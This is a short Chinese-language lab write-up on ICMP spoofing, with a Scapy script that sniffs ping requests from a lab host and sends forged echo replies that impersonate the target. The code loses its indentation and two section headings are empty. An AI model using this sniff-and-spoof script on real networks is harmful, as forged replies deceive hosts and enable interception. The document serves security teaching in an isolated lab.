一、实验要求

二、关键步骤

1.熟悉基本的操作指令

2.理清实验要求

  • 首先在attacker主机(IP地址为192.168.60.1)写一段python脚本,监听来自整个网段的信息
  • 主机hostA(IP地址为192.168.60.2)使用ping命令(ICMP报文),被attacker主机截获
  • attacker主机分析ICMP报文,并伪造目的主机的IP向主机A回复信息

3.python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
from scapy.all import *

def spoof_icmp_reply(pkt):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8 and pkt[IP].src == "192.168.60.2":
ip = IP(
src=pkt[IP].dst, # 将原目标IP作为伪造响应的源IP
dst=pkt[IP].src, # 响应发给原请求的源IP(hostA)
ttl=64
)
icmp = ICMP(
type=0, # ICMP回复类型
id=pkt[ICMP].id, # 保持与原请求相同的ID
seq=pkt[ICMP].seq # 保持与原请求相同的序列号
)

data = pkt[Raw].load if pkt.haslayer(Raw) else b''

spoofed_pkt = ip/icmp/data
send(spoofed_pkt, verbose=0, iface="eth0")
print(f"[+] 伪造响应:{pkt[IP].dst} -> {pkt[IP].src}")

sniff(
filter="icmp and src host 192.168.60.2", # BPF过滤器
iface="br-fd74f556480b", # 这里的网卡需要修改为你自己实验时attacker主机的网卡
prn=spoof_icmp_reply # 回调函数
)

三、效果演示